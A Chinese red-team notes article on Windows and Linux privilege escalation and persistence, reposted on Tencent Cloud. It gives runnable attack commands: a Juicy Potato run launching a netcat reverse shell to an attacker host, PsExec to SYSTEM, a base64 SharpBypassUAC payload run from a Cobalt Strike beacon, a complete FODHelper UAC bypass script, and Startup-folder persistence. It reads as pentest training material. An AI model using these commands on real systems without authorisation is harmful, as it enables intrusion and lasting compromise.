前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队笔记 - 提权&权限维持

红队笔记 - 提权&权限维持

作者头像
Khan安全团队
发布2021-10-12 14:45:10
1.2K0
发布2021-10-12 14:45:10
举报
文章被收录于专栏:Khan安全团队Khan安全团队

提权

Windows

通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:

  • 默认凭据,尝试将它们转给其他用户。
  • 开放端口,有没有只监听 127.0.0.1 的服务?寻找漏洞。
  • 运行软件中寻找漏洞。
  • 未加引号的服务路径,你能写一个恶意的二进制文件并重新启动受影响的服务吗?
  • 可修改的服务二进制文件,他们SYSTEM是以管理员用户身份运行还是以管理员用户身份运行?

如果没有明显的结果WinPEAS,通常Invoke-AllChecks从PowerUp运行,它会执行类似的检查,但有时也会捕获其他漏洞。

如果所有其他方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。Windows-Exploit-Suggester对此有所帮助:您可以从 Kali 运行它,并且只需要SystemInfo. 有时在谷歌上搜索确切操作系统版本的权限提升漏洞也有帮助。

烂土豆

如果您拥有SeImpersonatePrivilege并且操作系统版本早于Server 2019 或 Windows 10,则相关。通过使用中性二进制文件(例如nc.exe或nc64.exe来自此处),我取得了最大的成功。如果您bat使用命令调用创建文件,它应该会避开大多数 AV 并为您提供特权 shell。

代码语言:javascript
复制
# On target system, after copying required binaries
echo C:\temp\nc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
UAC绕过

如果您是本地管理员,则相关,但whoami /all返回您正在“中等完整性进程”中运行。漏洞利用方法因操作系统版本而异。谷歌搜索特定版本的自动 UAC 绕过漏洞,或使用Windows-Exploit-Suggester或 metasploit 来识别可能的 UAC 绕过漏洞可能会成功。

本地管理员到系统

可以通过PsExec.exe来实现这一点,可以使用 Msfvenom 可执行文件代替rev.bat。

代码语言:javascript
复制
.\PsExec.exe -i -s "c:\temp\rev.bat"

如果你在 Windows 系统上有一个 shell 并且有另一个用户的密码,PsExec 也可以用来作为目标用户执行程序。

代码语言:javascript
复制
.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"

使用SharpBypassUAC

代码语言:javascript
复制
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

在某些情况下,运行手动 UAC 绕过可能会更好,例如在 PowerShell 中执行非常简单的 FODHelper 绕过。

代码语言:javascript
复制
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"

# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force

# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Linux

对于 Linux PrivEsc,通常运行sudo -l. 如果这导致我们可以运行某些命令(无需密码或已知密码)之后,开始查看文件系统(再次 - 主目录和有趣的目录,如/var/www/html)以查找多汁文件或包含凭据或线索的文件。通常,这可能会导致例如我们可以用来在本地转储数据库的 MySQL 凭据。最后,我查看了我们所在的非默认组id。

在那之后,通常是通过自动化PrivEsc枚举linPEAS或在某些情况下LINENUM。但是,强烈建议大家熟悉这些脚本执行的命令及其含义。这是帮助获取态势感知和手动识别漏洞的命令的极好参考。另外,我喜欢这里提出的高级问题- 我是谁?我可以读、写或执行什么?为了在 Linux 中有效提权,您必须回答的一些问题与 Windows 类似,有些则完全不同。一般来说,以下是一些经常相关的问题。

  • 是否有任何正在运行的服务或程序看起来是非默认的?他们脆弱吗?
    • 特别注意以 root 用户 ( ps auxww | grep root)运行的服务- 在许多情况下,这些可能是您的 root 路径。例如,MySQL 是否以 root 身份运行?运行raptor_udf2。
  • 哪些服务只在本地监听?
  • 文件或文件夹的权限是否配置错误?
  • 是否有任何定时任务或计划任务?谁来执行?
    • 注意:如果您无法读取 cron 文件,请尝试pSpy - 它可能有助于识别重复的执行命令。
  • 我们可以sudo在默认二进制文件上运行吗?检查它们的GTFOBins。
  • 是否有任何二进制文件由 root 拥有并设置了 SUID 或 GUID?检查它们的 GTFOBins。
  • 是否有任何文件具有不受限制的 POSIX 功能(仅+ep),或我们可以用于 privesc 的其他有趣功能(例如cap_setuid或cap_dac_override)?
  • 如果您发现任何以 root 身份循环运行的二进制文件,或者我们可以使用sudo提升的上下文或在提升的上下文中触发的二进制文件:我们可以写入该文件吗?我们可以劫持路径吗?

同样,内核漏洞利用应该是 PWK 权限提升的最后手段。识别内核版本uname并将其扔到 searchsploit 中应该在这方面有所帮助。

权限维持

启动文件夹

只要放下一个二进制文件在当前用户文件夹中,将在当前用户登录时触发。

代码语言:javascript
复制
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

或者在全局启动文件夹中,需要管理权限,但在启动时将作为SYSTEM触发,并且只要有用户登录就会在用户环境中触发。

代码语言:javascript
复制
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 烂土豆
  • UAC绕过
  • 本地管理员到系统
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档